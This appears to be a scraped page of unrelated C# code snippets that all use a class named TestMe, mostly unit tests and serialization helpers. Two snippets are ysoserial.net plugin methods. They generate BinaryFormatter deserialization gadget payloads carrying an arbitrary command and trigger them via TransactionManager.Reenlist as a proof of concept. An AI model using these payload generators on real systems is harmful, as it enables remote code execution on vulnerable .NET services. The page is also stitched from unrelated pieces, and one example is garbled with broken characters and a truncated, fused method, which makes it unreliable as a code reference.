Exemple #1
0
        public void Setup()

        {

            var instance = new TestMe();

        }
 private static TestMe CreateTestItem()
 {
     var testItem = new TestMe();
     testItem.Id = 42;
     testItem.OtherIds = new List<int> {1, 2, 3, 4};
     return testItem;
 }
        public void Test1()
        {
            var sut = new TestMe();
            int a   = 10;
            int b   = 5;

            Assert.Equal(15, sut.Add(a, b));
        }
        public object Run(string[] args)
        {
            InputArgs     inputArgs = new InputArgs();
            List <string> extra;

            try
            {
                extra                   = options.Parse(args);
                inputArgs.Cmd           = command;
                inputArgs.Minify        = minify;
                inputArgs.UseSimpleType = useSimpleType;
                inputArgs.Test          = test;
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            object payload = "";

            if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            byte[] serializedData    = (byte[])new TextFormattingRunPropertiesGenerator().GenerateWithNoTest("BinaryFormatter", inputArgs);
            byte[] newSerializedData = new byte[serializedData.Length + 5]; // it has BinaryReader ReadInt32() + 1 additional byte read
            serializedData.CopyTo(newSerializedData, 5);
            newSerializedData[0] = 1;


            payload = newSerializedData;

            if (test)
            {
                // PoC on how it works in practice
                try
                {
                    TestMe myTransactionEnlistment = new TestMe();
                    TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);
                }
                catch (Exception err)
                {
                    Debugging.ShowErrors(inputArgs, err);
                }
            }


            return(payload);
        }
 private static void Serialize(MemoryStream stream, TestMe testItem)
 {
     var binaryWriter = new BinaryWriter(stream);
     binaryWriter.Write(testItem.Id);
     binaryWriter.Write(testItem.OtherIds.Count);
     foreach (var otherId in testItem.OtherIds)
     {
         binaryWriter.Write(otherId);
     }
 }
        private static TestMe CreateTestItem()
        {
            var testItem = new TestMe();

            testItem.Id       = 42;
            testItem.OtherIds = new List <int> {
                1, 2, 3, 4
            };
            return(testItem);
        }
 private static void Deserialize(MemoryStream stream, TestMe testItem)
 {
     var binaryReader = new BinaryReader(stream);
     testItem.Id = binaryReader.ReadInt32();
     var length = binaryReader.ReadInt32();
     testItem.OtherIds.Clear();
     for (int i = 0; i < length; i++)
     {
         testItem.OtherIds.Add(binaryReader.ReadInt32());
     }
 }
        public void Lab_42_TestMe_Test02(int a, int b, int c, double expected)
        {
            // arrange
            var instance = new TestMe();

            // act
            var actual = instance.BIDMAS01(a, b, c);

            // assert
            Assert.AreEqual(expected, actual);
        }
    public void EnumToStringSerialization()
    {
        var testMe = new TestMe()
        {
            UserType = UserType.User,
        };
        var settings = new JsonSerializerSettings();

        settings.Converters.Add(new StringEnumConverter());
        var jsonString = JsonConvert.SerializeObject(testMe, settings);
    }
        private static void Serialize(MemoryStream stream, TestMe testItem)
        {
            var binaryWriter = new BinaryWriter(stream);

            binaryWriter.Write(testItem.Id);
            binaryWriter.Write(testItem.OtherIds.Count);
            foreach (var otherId in testItem.OtherIds)
            {
                binaryWriter.Write(otherId);
            }
        }
        public void Lab_42_TestMe_Test01()
        {
            // arrange
            var instance = new TestMe();
            var expected = 53.0;

            // act
            var actual = instance.BIDMAS01(50, 30, 10);

            // assert
            Assert.AreEqual(expected, actual);
        }
        private static void Deserialize(MemoryStream stream, TestMe testItem)
        {
            var binaryReader = new BinaryReader(stream);

            testItem.Id = binaryReader.ReadInt32();
            var length = binaryReader.ReadInt32();

            testItem.OtherIds.Clear();
            for (int i = 0; i < length; i++)
            {
                testItem.OtherIds.Add(binaryReader.ReadInt32());
            }
        }
    public void EnumToStringSerializationTest()
    {
        var testMe = new TestMe()
        {
            UserType = UserType.User,
        };
        var settings = new JsonSerializerSettings();

        settings.Converters.Add(new StringEnumConverter());
        var jsonString = JsonConvert.SerializeObject(testMe, settings);

        Assert.AreEqual(jsonString, "{\"UserType\":\"User\"}");
    }
    public void Test27_function()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function(100, 0);
        if (retVal == 100)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
        public object Run(string[] args)
        {
            List <string> extra;

            try
            {
                extra = options.Parse(args);
            }
            catch (OptionException e)
            {
                Console.Write("ysoserial: ");
                Console.WriteLine(e.Message);
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            object payload = "";

            if (String.IsNullOrEmpty(command) || String.IsNullOrWhiteSpace(command))
            {
                Console.Write("ysoserial: ");
                Console.WriteLine("Incorrect plugin mode/arguments combination");
                Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information.");
                System.Environment.Exit(-1);
            }

            byte[] serializedData    = (byte[])new TypeConfuseDelegateGenerator().Generate(command, "BinaryFormatter", false, minify);
            byte[] newSerializedData = new byte[serializedData.Length + 5]; // it has BinaryReader ReadInt32() + 1 additional byte read
            serializedData.CopyTo(newSerializedData, 5);
            newSerializedData[0] = 1;


            payload = newSerializedData;

            if (test)
            {
                // PoC on how it works in practice
                try
                {
                    TestMe myTransactionEnlistment = new TestMe();
                    TransactionManager.Reenlist(Guid.NewGuid(), newSerializedData, myTransactionEnlistment);
                }catch (Exception e)
                {
                    // always an error because of how it's been made
                }
            }


            return(payload);
        }
    public void Test6_function()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function(-100, 9999);
        if (retVal == 9899)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test35_function2()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function2(9999, 100);
        if (retVal == 9899)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test36_function()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function(9999, 9999);
        if (retVal == 19998)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test10_function2()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function2(-1, 1);
        if (retVal == -2)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test17_function2()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function2(0, 100);
        if (retVal == -100)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test26_function2()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function2(100, -1);
        if (retVal == 101)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test16_function()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function(0, 1);
        if (retVal == 1)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
    public void Test24_function2()
    {
        TestMe obj = new TestMe();

        System.Int32 retVal = obj.function2(1, 9999);
        if (retVal == -9998)
        {
            Assert(true);
        }
        else
        {
            Assert(false);
        }
    }
        public void TestPrivateField()
        {
            TestMe test1 = CreateTestItem();
            // ReSharper disable once UnusedVariable
            TestMe test2 = CreateTestItem();

            var stream = new MemoryStream();

            Serialize(stream, test1);
            stream.Position = 0;

            Deserialize(stream, test1);

            // Id is not checked at all and the List<int>._version field is tested when it should not be
            //this check fails
//                Check.That(test1).HasFieldsWithSameValues(test2);
        }
Exemple #25
0
        public void Lab_42_TestMe_Test01()

        {

� � � � � � // arrange

� � � � � � var instance = new TestMe();

            var expected = 53.0;





            // act

            var actual = instance.BIDMAS01(50, 30, 10); Test1()
        {

        }
    }
Exemple #26
0
        static void Main(string[] args)
        {
            var testMe = new TestMe
            {
                Color    = Program.Color.Blue,
                Key      = 3,
                Name     = "SAK",
                Created  = new DateTime(2013, 10, 20, 8, 0, 0),
                NCreated = (DateTime?)null,
                Deleted  = false,
                NDeleted = null,
                Amount   = 13.1313,
                MyThing  = new Thing()
                {
                    ThingId = 1, ThingName = "Thing 1"
                },
                Things = new List <Thing>
                {
                    new Thing
                    {
                        ThingId   = 4,
                        ThingName = "Thing 4",
                        Foos      = new List <Foo>
                        {
                            new Foo {
                                FooId = 1, FooName = "Foo 1"
                            },
                            new Foo {
                                FooId = 2, FooName = "Foo2"
                            }
                        }
                    },
                    new Thing
                    {
                        ThingId   = 5,
                        ThingName = "Thing 5",
                        Foos      = new List <Foo>()
                    }
                },
                Widgets = new List <Widget>()
            };

            var objectInitializer = ToObjectInitializer(testMe);

            Console.WriteLine(objectInitializer);

            // This is the returned C# Object Initializer
            var x = new TestMe {
                Color = Program.Color.Blue, Key = 3, Name = "SAK", Created = new DateTime(2013, 10, 20, 8, 0, 0), NCreated = null, Deleted = false, NDeleted = null, Amount = 13.1313, MyThing = new Thing {
                    ThingId = 1, ThingName = "Thing 1", Foos = new List <Foo>()
                }, Things = new List <Thing> {
                    new Thing {
                        ThingId = 4, ThingName = "Thing 4", Foos = new List <Foo> {
                            new Foo {
                                FooId = 1, FooName = "Foo 1"
                            }, new Foo {
                                FooId = 2, FooName = "Foo2"
                            }
                        }
                    }, new Thing {
                        ThingId = 5, ThingName = "Thing 5", Foos = new List <Foo>()
                    }
                }, Widgets = new List <Widget>()
            };

            Console.WriteLine("");
        }
Exemple #27
0
        public void CreatesEmptyQueryParamForNullAndEmptyValues()
        {
            var thing = new TestMe();

            Assert.That(thing.ToQueryString(), Is.EqualTo("A=&B=0"));
        }